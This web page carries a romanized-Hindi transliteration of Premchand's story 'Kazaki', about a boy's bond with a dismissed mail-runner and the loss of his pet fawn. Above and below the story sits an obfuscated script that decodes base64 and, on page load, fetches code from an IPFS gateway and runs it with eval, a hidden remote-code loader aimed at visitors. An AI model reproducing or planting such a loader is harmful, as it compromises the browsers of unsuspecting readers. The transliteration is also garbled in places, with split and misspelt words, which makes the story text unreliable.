कज़ाकी -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

meri bal-smritiyoan mean 'kajaki' ek n mitane vala vyakti hai. aj chalis sal gujar gaye; kajaki ki moorti abhi tak aankhoan ke samane nach rahi hai. maian un dinoan apane pita ke sath ajamagadh ki ek tahasil mean tha. kajaki jati ka pasi tha, b da hi hansamukh, b da hi sahasi, b da hi jiandadil. vah roj sham ko dak ka thaila lekar ata, rat-bhar rahata aur sabere dak lekar chala jata. sham ko phir udhar se dak lekar a jata. maian din bhar ek udvign dasha mean usaki rah dekha karata. jyoan hi char bajate, vyakul ho kar, s dak par a kar, kh da ho jata, aur tho di der mean kajaki kandho par ballam rakhe, usaki jhuanjhuni bajata, door se dau data hua ata dikhalayi deta. vah saanvale rang ka gathila, lamba javan tha. sharir saanche mean aisa dhala hua ki chatur moortikar bhi usamean koee dosh n nikal sakata. usaki chhoti-chhoti mooanchhean, usake sudaul chehare par bahut hi achchhi maloom hoti thian. mujhe dekh kar vah aur tej dau dane lagata, usaki jhuanjhuni aur teji se bajane lagati, aur mere hriday mean aur zor se khushi ki dh dakan hone lagati. harshatirek mean maian bhi dau d p data aur ek kshan mean kajaki ka kandha mera sianhasan ban jata. vah sthan meri abhilashaoan ka svarg tha. svarg ke nivasiyoan ko bhi shayad vah aandolit anand n milata hoga jo mujhe kajaki ke vishal kandhoan par milata tha. sansar meri aankhoan mean tuchchh ho jata aur jab kajaki mujhe kandho par liye hue dau dane lagata, tab to aisa maloom hota, mano maian hava ke gho de par u da ja raha hooan. kajaki dakakhane mean pahuanchata, to pasine se tar rahata; lekin aram karane ki adat n thi. thaila rakhate hi vah ham logoan ko le kar kisi maidan mean nikal jata, kabhi hamare sath khelata, kabhi birahe ga kar sunata aur kabhi kahaniyaan sunata. use chori aur dake, mar-pit, bhoot-pret ki saik doan kahaniyaan yad thian. maian ye kahaniyaan sunakar vismayapoorn anand mean magn ho jata; usaki kahaniyoan ke chor aur dakoo sachche yoddha hote the, jo amiroan ko loot kar din-dukhi praniyoan ka palan karate the. mujhe un par ghrina ke badale shrriddha hoti thi. ek din kajaki ko dak ka thaila le kar ane mean der ho gayi. sooryast ho gaya aur vah dikhalayi n diya. maian khoya hua-sa s dak par door tak aankhean pha d-pha d kar dekhata tha; par vah parichit rekha n dikhalayi p dati thi. kan laga kar sunata tha; 'jhun-jhun' ki vah amodamay dhavani n sunayi deti thi. prakash ke sath meri asha bhi malin hoti jati thi. udhar se kisi ko ate dekhata, to poochhata , kajaki ata hai ? par ya to koee sunata hi n tha, ya keval sir hila deta tha. sahasa 'jhun-jhun' ki avaz kanoan mean ayi. mujhe aandhere  mean charoan or bhoot hi dikhalayi dete the , yahaan tak ki mata ji ke kamare mean tak par rakhi huee mithaee bhi aandhera ho jane ke bad, mere lie tyajy ho jati thi; lekin vah avaz sunate hi maian usaki taraph zor se dau da. haan, vah kajaki hi tha. use dekhate hi meri vikalata krodh mean badal gayi. maian use marane laga, phir rooth karake alag kh da ho gaya. kajaki ne hans kar kaha —maroge, to maian ek chiz laya hooan, vah n dooanga. maianne sahas karake kaha —jao, mat dena, maian looanga hi nahian. kajaki , abhi dikha dooan, to dau d kar god mean utha loge. maianne pighal kar kaha —achchha, dikha do. kajaki , to a kar mere kandho par baith jao bhag chalooan. aj bahut der ho gayi hai. baboo ji big d rahe hoange. maianne ak d kar kaha —pahile dikha. meri vijay huee. agar kajaki ko der ka dar n hota aur vah ek minat bhi aur ruk sakata, to shayad paansa palat jata. usane koee chiz dikhalayi, jise vah ek hath se chhati se chipataye hue tha; lamba muanh tha, aur do aankhean chamak rahi thian. maianne use dau d kar kajaki ki god se le liya. yah hiran ka bachcha tha. ah ! meri us khushi ka kaun anuman karega ? tab se kathin parikshaean pas kian, achchha pad bhi paya, rayabahadur bhi hua; par vah khushi phir n hasil huee. maian use god mean liye, usake komal sparsh ka anand uthata ghar ki or dau da. kajaki ko ane mean kyoan itani der huee isaka khayal hi n raha. maianne poochha—yah kahaan mila, kajaki ? kajaki , bhaiya, yahaan se tho di door par ek chhota-sa jangal hai. usamean bahut-se hiran haian. mera bahut ji chahata tha ki koee bachcha mil jae, to tumhean dooan. aj yah bachcha hiranoan ke jhuand ke sath dikhalayi diya. maian jhuand ki or dau da, to sab ke sab bhage. yah bachcha bhi bhaga; lekin maianne pichha n chho da. aur hiran to bahut door nikal gaye, yahi pichhe rah gaya. maianne ise pak d liya. isi se itani der huee. yoan batean karate ham donoan dakakhane pahuanche. baboo ji ne mujhe n dekha, hiran ke bachche ko bhi n dekha, kajaki hi par unaki nigah p di. big d kar bole —  aj itani der kahaan lagayi ? ab thaila le kar aya hai, use lekar kya karooan ? dak to chali gayi. bata, toone itani der kahaan lagayi ? kajaki ke muanh se avaz n nikali. baboo ji ne kaha —tujhe shayad ab naukari nahian karani hai. nich hai n, pet bhara to mota ho gaya ! jab bhookhoan marane lagega, to aankhean khuleangi. kajaki chupachap kh da raha. baboo ji ka krodh aur badha. bole —  achchha, thaila rakh de aur apane ghar ki rah le. sooar, ab dak le ke aya hai. tera kya big dega, jahaan chahega, majoori kar lega. mathe to mere jayagi, javab to mujhase talab hoga. kajaki ne ruaanse ho kar kaha —sarakar, ab kabhi der n hogi. baboo ji , aj kyoan der ki, isaka javab de ? kajaki ke pas isaka koee javab n tha. ashchary to yah tha ki meri bhi jaban band ho gayi. baboo ji b de gussevar the. unhean kam karana p data tha, isi se bat-bat par jhuanjhala p date the. maian to unake samane kabhi jata hi n tha. vah bhi mujhe kabhi pyar n karate the. ghar mean keval do bar ghante-ghante bhar ke lie bhojan karane ate the, baki sare din daftar mean likha karate the. unhoanne bar-bar ek sahakari ke lie aphasaroan se vinay ki thi; par isaka kuchh asar n hua tha. yahaan tak ki tatil ke din bhi baboo ji daftar hi mean rahate the. keval mata ji unaka krodh shaant karana janati thian; par vah daftar mean kaise atian. bechara kajaki usi vakt mere dekhate-dekhate nikal diya gaya. usaka ballam, chaparas aur safa chhin liya gaya aur use dakakhane se nikal jane ka nadiri hukm suna diya. ah ! us vakt mera aisa ji chahata tha ki mere pas sone ki lanka hoti, to kajaki ko de deta aur baboo ji ko dikha deta ki apake nikal dene se kajaki ka bal bhi baanka nahian hua. kisi yoddha ko apani talavar par jitana ghamand hota hai, utana hi ghamand kajaki ko apani chaparas par tha. jab vah chaparas kholane laga, to usake hath kaanp rahe the aur aankhoan se aansoo bah rahe the.

aur is sare upadrav ki j d vah komal vastu thi, jo meri god mean muanh chhipaye aise chain se baithi huee thi, mano mata ki god mean ho. jab kajaki chala to maian dhire-dhire usake pichhe-pichhe chala. mere ghar ke dvar par a kar kajaki ne kaha —bhaiya, ab ghar jao; saanjh ho gayi. maian chupachap kh da apane aansuoan ke veg ko sari shakti se daba raha tha. kajaki phir bola —  bhaiya, maian kahian bahar tho de hi chala jaooanga. phir aooanga aur tumhean kandho par baitha kar kudaooanga. baboo ji ne naukari le li hai, to kya itana bhi n karane deange ! tumako chho d kar maian kahian n jaooanga, bhaiya ! jakar ammaan se kah do, kajaki jata hai. usaka kaha-suna maph karean. maian dau da hua ghar gaya, lekin ammaan ji ko kuchh kahane ke badale bilakh-bilakh kar rone laga. ammaan ji rasoee ke bahar nikal kar poochhane lagian , kya hua beta ? kisane mara ! baboo ji ne kuchh kaha hai ? achchha, rah to jao, aj ghar ate haian, to poochhati hooan. jab dekho, mere l dake ko mara karate haian. chup raho beta, ab tum unake pas kabhi mat jana.

maianne b di mushkil se avaz sanbhal kar kaha —kajaki... ammaan ne samajha, kajaki ne mara hai; bolian , achchha, ane do kajaki ko, dekho, kh de-kh de nikalava deti hooan. harakara ho kar mere raja beta ko mare ! aj hi to safa, ballam, sab chhinavaye leti hooan. vah ! maianne jaldi se kaha —nahian, kajaki ne nahian mara. baboo ji ne use nikal diya hai; usaka safa, ballam chhin liya , chaparas bhi le li. ammaan , yah tumhare baboo ji ne bahut bura kiya. vah bechara apane kam mean itana chaukas rahata hai. phir use kyoan nikala ? maianne kaha —aj use der ho gayi thi. yah kah kar maianne hiran ke bachche ko god se utar diya. ghar mean usake bhag jane ka bhay n tha. ab tak ammaan ji ki nigah bhi us par n p di thi. use phudakate dekh kar vah sahasa chauank p dian aur lapak kar mera hath pak d liya ki kahian yah bhayankar jiv mujhe kat n khay ! maian kahaan to phoot-phoot kar ro raha tha aur kahaan ammaan ki ghabarahat dekh kar khilakhila kar hans p da. ammaan , are, yah to hiran ka bachcha hai ! kahaan mila ? maianne hiran ke bachche ka sara itihas aur usaka bhishan parinam adi se aant tak kah sunaya , ammaan, yah itana tej bhagata tha ki koee doosara hota, to pak d hi n sakata. sanh-sanh, hava ki tarah u data chala jata tha. kajaki paanch-chh: ghante tak isake pichhe dau data raha. tab kahian ja kar bachcha mile. ammaan ji, kajaki ki tarah koee duniya bhar mean nahian dau d sakata, isi se to der ho gayi. isalie baboo ji ne bechare ko nikal diya , chaparas, safa, ballam, sab chhin liya. ab bechara kya karega ? bhookhoan mar jayaga. ammaan ne poochha—kahaan hai kajaki, jara use bula to lao. maianne kaha —bahar to kh da hai. kahata tha, ammaan ji se mera kaha-suna maph karava dena. ab tak ammaan ji mere vrittaant ko dillagi samajh rahi thian. shayad vah samajhati thian ki baboo ji ne kajaki ko d aauta hoga; lekin mera aantim vaky sunakar sanshay hua ki sachamuch to kajaki barakhast nahian kar diya gaya. bahar a kar 'kajaki ! kajaki' pukarane lagian, par kajaki ka kahian pata n tha. maianne bar-bar pukara; lekin kajaki vahaan n tha. khana to maianne kha liya , bachche shok mean khana nahian chho date, khas kar jab rab di bhi samane ho; magar b di rat tak p de-p de sochata raha , mere pas rupaye hote, to ek lakh rupaye kajaki ko de deta aur kahata , baboo ji se kabhi mat bolana. bechara bhookhoan mar jayaga ! dekhooan, kal ata hai ki nahian. ab kya karega a kar ? magar ane ko to kah gaya hai. maian kal use apane sath khana khilaooanga.yahi havaee kile banate-banate mujhe niand a gayi. doosare din maian din bhar apane hiran ke bachche ki seva-satkar mean vyast raha.

pahale usaka namakaran sanskar hua. 'munnoo' nam rakha gaya. phir maianne usaka apane sab hamajoliyoan aur sahapathiyoan se parichay karaya. din hi bhar mean vah mujhase itana hil gaya ki mere pichhe-pichhe dau dane laga. itani hi der mean maianne use apane jivan mean ek mahattvapoorn sthan de diya. apane bhavishy mean bananevale vishal bhavan mean usake lie alag kamara banane ka bhi nishchay kar liya; charapaee, sair karane ki phitan adi ki bhi ayojana kar li.

lekin sandhya hote hi maian sab kuchh chho d-chha d kar s dak par ja kh da hua aur kajaki ki bat johane laga. janata tha ki kajaki nikal diya gaya hai, ab use yahaan ane ki koee zaroorat nahian rahi. phir n-jane mujhe kyoan yah asha ho rahi thi ki vah a raha hai. ekaek mujhe khayal aya ki kajaki bhookhoan mar raha hoga. maian turant ghar aya. ammaan diya-batti kar rahi thian. maianne chupake se ek tokari mean ata nikala; ata hathoan mean lapete, tokari se girate ate ki ek lakir banata hua bhaga. ja kar s dak par kh da hua hi tha ki kajaki samane se ata dikhalayi diya. usake pas ballam bhi tha, kamar mean chaparas bhi thi, sir par safa bhi bandha hua tha. ballam mean dak ka thaila bhi bandha hua tha. maian dau d kar usaki kamar se chipat gaya aur vismit ho kar bola —  tumhean chaparas aur ballam kahaan se mil gaya, kajaki ? kajaki ne mujhe utha kar kandho par baithalate hue kaha —vah chaparas kis kam ki thi, bhaiya ? vah to gulami ki chaparas thi, yah purani khushi ki chaparas hai. pahale sarakar ka naukar tha, ab tumhara naukar hooan. yah kahate-kahate usaki nigah tokari par p di, jo vahian rakhi thi.  bola —  yah ata kaisa hai, bhaiya ? maianne sakuchate hue kaha —tumhare hi lie to laya hooan. tum bhookhe hoge, aj kya khaya hoga ? kajaki ki aankhean to maian n dekh saka, usake kandho par baitha hua tha; haan, usaki avaz se maloom hua ki usaka gala bhar aya hai. bola —  bhaiya, kya rookhi hi rotiyaan khaooanga ? dal, namak, ghi , aur to kuchh nahian hai. maian apani bhool par bahut lajjit hua. sach to hai, bechara rookhi rotiyaan kaise khayaga ? lekin namak, dal, ghi kaise laooan ? ab to ammaan chauke mean hoangi. ata le kar to kisi tarah bhag aya tha (abhi tak mujhe n maloom tha ki meri chori pak d li gayi; ate ki lakir ne surag de diya hai). ab ye tin-tin chizean kaise laooanga ? ammaan se maangooanga, to kabhi n deangi. ek-ek paise ke lie to ghantoan rulati haian, itani sari chizean kyoan dene lagian ? ekaek mujhe ek bat yad ayi. maianne apani kitaboan ke bastoan mean kee ane paise rakh chho de the. mujhe paise jama karake rakhane mean b da anand ata tha. maloom nahian ab vah adat kyoan badal gayi. ab bhi vahi halat hoti to shayad itana phakemast n rahata. baboo ji mujhe pyar to kabhi n karate the; par paise khoob dete the, shayad apane kam mean vyast rahane ke karan, mujhase piand chhu dane ke lie isi nuskhe ko sabase asan samajhate the. inakar karane mean mere rone aur machalane ka bhay tha. is badha ko vah door hi se tal dete the. ammaan ji ka svabhav isase thik pratikool tha. unhean mere rone aur machalane se kisi kam mean badha p dane ka bhay n tha. adami lete-lete din bhar rona sun sakata hai; hisab lagate hue zor ki avaz se dhyan bant jata hai. ammaan mujhe pyar to bahut karati thian, par paise ka nam sunate hi unaki tyoriyaan badal jati thian. mere pas kitabean n thian. haan, ek basta tha, jisamean dakakhane ke do-char pharm tah karake pustak roop mean rakhe hue the. maianne socha , dal, namak aur ghi ke lie kya utane paise kafi n hoange ? meri to mutthi mean nahian ate. yah nishchay karake maianne kaha —achchha, mujhe utar do, to maian dal aur namak la dooan, magar roj aya karoge n ? kajaki , bhaiya, khane ko doge, to kyoan n aooanga. maianne kaha —maian roj khane ko dooanga. kajaki bola —  to maian roj aooanga. maian niche utara aur dau d kar sari pooanji utha laya. kajaki ko roj bulane ke lie us vakt mere pas kohanoor hira bhi hota, to usako bheant karane mean mujhe pasopesh n hota. kajaki ne vismit ho kar poochha—ye paise kahaan paye, bhaiya ? maianne garv se kaha —mere hi to haian. kajaki , tumhari ammaan ji tumako mareangi, kaheangi , kajaki ne phusala kar mangava liye hoange. bhaiya, in paisoan ki mithaee le lena aur matake mean rakh dena. maian bhookhoan nahian marata. mere do hath haian. maian bhala bhookhoan mar sakata hooan ? maianne bahut kaha ki paise mere haian, lekin kajaki ne n lie. usane b di der tak idhar-udhar ki sair karayi, git sunaye aur mujhe ghar pahuancha kar chala gaya. mere dvar par ate ki tokari bhi rakh di. maianne ghar mean qadam rakha hi tha ki ammaan ji ne d aaut kar kaha —kyoan re chor, too ata kahaan le gaya tha ? ab chori karana sikhata hai ? bata, kisako ata de aya, nahian to teri khal udhe d kar rakh dooangi. meri nani mar gayi. ammaan krodh mean sianhani ho jati thian. sitapita kar bola —  kisi ko to nahian diya. ammaan , toone ata nahian nikala ? dekh kitana ata sare aangan mean bikhara p da hai ? maian chup kh da tha. vah kitana hi dhamakati thian, chumakarati thian, par meri jaban n khulati thi. anevali vipatti ke bhay se pran sookh rahe the. yahaan tak ki yah bhi kahane ki himmat n p dati thi ki big dati kyoan ho, ata to dvar par rakha hua hai, aur n utha kar late hi banata tha, mano kriya-shakti hi lupt ho gayi ho, mano pairoan mean hilane ki samarthy hi nahian. sahasa kajaki ne pukara , bahoo ji, ata dvar par rakha hua hai. bhaiya mujhe dene ko le gaye the.

yah sunate hi ammaan dvar ki or chali gayian. kajaki se vah parada n karati thian. unhoanne kajaki se koee bat ki ya nahian, yah to maian nahian janata; lekin ammaan ji khali tokari liye hue ghar mean ayian. phir kothari mean jakar sandook se kuchh nikala aur dvar ki or gayian. maianne dekha ki unaki mutthi band thi. ab mujhase vahaan kh de n raha gaya. ammaan ji ke pichhe-pichhe maian bhi gaya. ammaan ne dvar par kee bar pukara; magar kajaki chala gaya tha. maianne b di adhirata se kaha —maian ja kar khoj laooan, ammaan ji ? ammaan ji ne kiva dean band karate hue kaha —tum aandhere  mean kahaan jaoge, abhi to yahian kh da tha. maianne kaha ki yahian rahana; maian ati hooan. tab tak n-jane kahaan khisak gaya. b da sankochi hai ! ata to leta hi n tha. maianne jabaradasti usake aangochhe mean baandh diya. mujhe to bechare par b di daya ati hai. n-jane bechare ke ghar mean kuchh khane ko hai ki nahian. rupaye layi thi ki de dooangi; par n-jane kahaan chala gaya. ab to mujhe bhi sahas hua. maianne apani chori ki poori katha kah dali. bachchoan ke sath samajhadar bachche ban kar maan-bap un par jitana asar dal sakate haian, jitani shiksha de sakate haian, utane boodhe ban kar nahian. ammaan ji ne kaha —tumane mujhase poochh kyoan n liya ? kya maian kajaki ko tho da-sa ata n deti ? maianne isaka uttar n diya. dil mean kaha —is vakt tumhean kajaki par daya a gayi hai, jo chahe de dalo; lekin maian maangata, to marane dau datian. haan, yah soch kar chitt prasann hua ki ab kajaki bhookhoan n marega. ammaan ji use roj khane ko deangi aur vah roj mujhe kandho par bitha kar sair karayega. doosare din maian din bhar munnoo ke sath khelata raha. sham ko s dak par ja kar kh da ho gaya. magar aandhera ho gaya aur kajaki ka kahian pata nahian. diye jal gaye, raste mean sannata chha gaya; par kajaki n aya ! maian rota hua ghar aya. ammaan ji ne poochha—kyoan rote ho, beta ? kya kajaki nahian aya ? maian aur zor se rone laga. ammaan ji ne mujhe chhati se laga liya. mujhe aisa maloom hua ki unaka bhi kanth gadgad ho gaya hai. unhoanne kaha —beta, chup ho jao, maian kal kisi harakare ko bhej kar kajaki ko bulavaooangi. maian rote hi rote so gaya. sabere jyoan hi aankhean khulian, maianne ammaan ji se kaha —kajaki ko bulava do. ammaan ne kaha —adami gaya hai, beta ! kajaki ata hoga. khush ho kar khelane laga. mujhe maloom tha ki ammaan ji jo bat kahati haian, use poora zaroor karati haian. unhoanne sabere hi ek harakare ko bhej diya tha. das baje jab maian munnoo ko liye hue ghar aya, to maloom hua ki kajaki apane ghar par nahian mila. vah rat ko bhi ghar n gaya tha. usaki stri ro rahi thi ki n-jane kahaan chale gaye. use bhay tha ki vah kahian bhag gaya hai. balakoan ka hriday kitana komal hota hai, isaka anuman doosara nahian kar sakata. unamean apane bhavoan ko vyakt karane ke lie shabd nahian hote. unhean yah bhi jnat nahian hota ki kaun-si bat unhean vikal kar rahi hai, kaun-sa kaanta unake hriday mean khatak raha hai, kyoan bar-bar unhean rona ata hai, kyoan ve man mare baithe rahate haian, kyoan khelane mean ji nahian lagata ? meri bhi yahi dasha thi. kabhi ghar mean ata, kabhi bahar jata, kabhi s dak par ja pahuanchata. aankhean kajaki ko dhooandh rahi thian. vah kahaan chala gaya ? kahian bhag to nahian gaya ? tisare pahar ko maian khoya hua-sa s dak par kh da tha. sahasa maianne kajaki ko ek gali mean dekha. haan, vah kajaki hi tha. maian usaki or chillata hua dau da; par gali mean usaka pata n tha, n-jane kidhar gayab ho gaya.

maianne gali ke is sire se us sire tak dekha; magar kahian kajaki ki gandha tak n mili.ghar ja kar maianne ammaan ji se yah bat kahi. mujhe aisa jan p da ki vah yah bat sun kar bahut chiantit ho gayian.isake bad do-tin din tak kajaki n dikhalayi diya. maian bhi ab use kuchh-kuchh bhoolane laga. bachche pahale jitana prem karate haian, bad ko utane hi nishthur bhi ho jate haian. jis khilaune par pran dete haian, usi ko do-char din ke bad patak kar pho d bhi dalate haian. das-barah din aur bit gaye. dopahar ka samay tha. baboo ji khana kha rahe the. maian munnoo ke pairoan mean pinas ki paijaniyaan baandh raha tha. ek aurat ghooanghat nikale hue ayi aur aangan mean kh di ho gayi. usake kap de phate hue aur maile the, par gori, sundar stri thi. usane mujhase poochha—bhaiya, bahoo ji kahaan hai ? maianne usake pas ja kar usaka muanh dekhate hue kaha —tum kaun ho, kya bechati ho ? aurat , kuchh bechati nahian hooan, tumhare lie ye kamalagatte layi hooan. bhaiya, tumhean to kamalagatte bahut achchhe lagate haian n ? maianne usake hathoan se latakati huee potali ko utsuk netroan se dekh kar poochha—kahaan se layi ho ? dekhean. aurat , tumhare harakare ne bheja hai, bhaiya ! maianne uchhal kar poochha—kajaki ne ? aurat ne sir hila kar 'haan' kaha aur potali kholane lagi. itane mean ammaan ji bhi rasoee se nikal ayian. usane ammaan ke pairoan ka sparsh kiya. ammaan ne poochha—too kajaki ki gharavali hai ? aurat ne sir jhuka liya. ammaan , ajakal kajaki kya karata hai. aurat ne ro kar kaha —bahoo ji, jis din se apake pas se ata le kar gaye haian, usi din se bimar p de haian. bas, bhaiya-bhaiya kiya karate haian. bhaiya hi mean unaka man basa rahata hai. chauank-chauank kar 'bhaiya ! bhaiya !' kahate hue dvar ki or dau date haian. n jane unhean kya ho gaya hai, bahoo ji ! ek din mujhase kuchh kaha n suna, ghar se chal diye aur ek gali mean chhip kar bhaiya ko dekhate rahe. jab bhaiya ne unhean dekh liya, to bhage. tumhare pas ate hue lajate haian. maianne kaha —haan-haan, maianne us din tumase jo kaha tha ammaan ji ! ammaan , ghar mean kuchh khane-pine ko hai ? aurat , haan bahoo ji, tumhare asiravad se khane-pine ka du:kh nahian hai. aj sabere uthe aur talab ki or chale gaye. bahut kahati rahi, bahar mat jao, hava lag jayagi. magar n mane ! mare kamazori ke pair kaanpane lagate haian, magar talab mean ghus kar ye kamalagatte to d laye. tab mujhase kaha —le ja, bhaiya ko de a. unhean kamalagatte bahut achchhe lagate haian. kushal-chhem poochhati ana. maianne potali se kamalagatte nikal liye the aur maje se chakh raha tha. ammaan ne bahut aankhean dikhayian, magar yahaan itani sabr kahaan ! ammaan ne kaha —kah dena sab kushal hai. maianne kaha —yah bhi kah dena ki bhaiya ne bulaya hai. n jaoge to phir tumase kabhi n boleange, haan ! baboo ji khana kha kar nikal aye the. tauliye se hath-muanh poanchhate hue bole —  aur yah bhi kah dena ki sahab ne tumako bahal kar diya hai. jaldi jao, nahian to koee doosara adami rakh liya jayaga. aurat ne apana kap da uthaya aur chali gayi. ammaan ne bahut pukara, par vah n ruki. shayad ammaan ji use sidha dena chahati thian. ammaan ne poochha—sachamuch bahal ho gaya ? baboo ji , aur kya jhoothe hi bula raha hooan. maianne to paanchavean hi din bahali ki riport ki thi.

ammaan , yah tumane achchha kiya. baboo ji , usaki bimari ki yahi dava hai. prat:kal maian utha, to kya dekhata hooan ki kajaki lathi tekata hua chala a raha hai. vah bahut dubala ho gaya tha, maloom hota tha, boodha ho gaya hai. hara-bhara pe d sookh kar thooantha ho gaya tha. maian usaki or dau da aur usaki kamar se chimat gaya. kajaki ne mere gal choome aur mujhe utha kar kandho par baithalane ki cheshta karane laga; par maian n uth saka. tab vah janavaroan ki bhaanti bhoomi par hathoan aur ghutanoan ke bal kh da ho gaya aur maian usaki pith par savar ho kar dakakhane ki or chala. maian us vakt phoola n samata tha aur shayad kajaki mujhase bhi zyada khush tha.baboo ji ne kaha —kajaki, tum bahal ho gaye. ab kabhi der n karana.  kajaki rota hua pita ji ke pairoan par gir p da; magar shayad mere bhagy mean donoan sukh bhogana n likha tha , munnoo mila, to kajaki chhoota; kajaki aya to munnoo hath se gaya aur aisa gaya ki aj tak usake jane ka du:kh hai. munnoo meri hi thali mean khata tha. jab tak maian khane n baithooan, vah bhi kuchh n khata tha. use bhat se bahut hi ruchi thi; lekin jab tak khoob ghi n p da ho, use santosh n hota tha. vah mere hi sath sota tha aur mere hi sath uthata bhi tha. saphaee to use itani pasand thi ki mal-mootra tyag karane ke lie ghar se bahar maidan mean nikal jata tha. kuttoan se use chidh thi, kuttoan ko ghar mean n ghusane deta. kutte ko dekhate hi thali se uth jata aur use dau d kar ghar se bahar nikal deta tha. kajaki ko dakakhane mean chho d kar jab maian khana khane gaya, to munnoo bhi a baitha. abhi do-char hi kaur khaye the ki ek b da-sa jhabara kutta aangan mean dikhayi diya. munnoo use dekhate hi dau da. doosare ghar mean ja kar kutta chooha ho jata hai. jhabara kutta use ate dekh kar bhaga. munnoo ko ab laut ana chahie tha; magar vah kutta usake lie yamaraj ka doot tha. munnoo ko use ghar se nikal kar bhi santosh n hua. vah use ghar ke bahar maidan mean bhi dau dane laga. munnoo ko shayad khayal n raha ki yahaan meri amaladari nahian hai. vah us kshetra mean pahuanch gaya tha, jahaan jhabare ka bhi utana hi adhikar tha, jitana munnoo ka. munnoo kuttoan ko bhagate-bhagate kadachith apane bahubal par ghamand karane laga tha. vah yah n samajhata tha ki ghar mean usaki pith par ghar ke svami ka bhay kam kiya karata hai. jhabare ne is maidan mean ate hi ulat kar munnoo ki garadan daba di. bechare munnoo ke muanh se avaz tak n nikali. jab p dosiyoan ne shor machaya, to maian dau da. dekha, to munnoo mara p da hai aur jhabare ka kahian pata nahian.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>